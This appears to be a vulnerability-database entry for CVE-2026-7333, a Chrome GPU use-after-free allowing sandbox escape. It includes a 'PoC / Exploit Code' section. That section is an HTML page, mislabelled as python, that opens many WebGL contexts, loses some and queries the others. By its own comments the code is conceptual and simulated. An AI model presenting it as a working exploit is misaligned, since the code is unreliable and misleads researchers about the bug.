Use after free in GPU in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 147.0.7727.138
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-7333 (Conceptual)
This HTML attempts to trigger UAF in GPU component via WebGL context manipulation.
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-7333 PoC</title>
</head>
<body>
<script>
// Create multiple WebGL contexts to stress GPU memory
var contexts = [];
for (let i = 0; i < 100; i++) {
const canvas = document.createElement('canvas');
const gl = canvas.getContext('webgl');
if (gl) {
contexts.push(gl);
}
}
// Function to attempt freeing and reallocation pattern (Simulated)
function triggerUAF() {
console.log("Attempting to trigger GPU UAF...");
// In a real exploit, specific WebGL calls would be used here
// to corrupt the heap and reuse freed objects.
contexts.forEach((gl, index) => {
if (index % 2 === 0) {
// Force potential GC or resource release
gl.getExtension('WEBGL_lose_context').loseContext();
}
});
// Attempt reuse
contexts.forEach(gl => {
try {
gl.getParameter(gl.VENDOR);
} catch (e) {
console.log("Exception during reuse attempt: " + e);
}
});
}
// Trigger after short delay
setTimeout(triggerUAF, 1000);
</script>
<h1>CVE-2026-7333 GPU UAF Test Page</h1>
</body>
</html>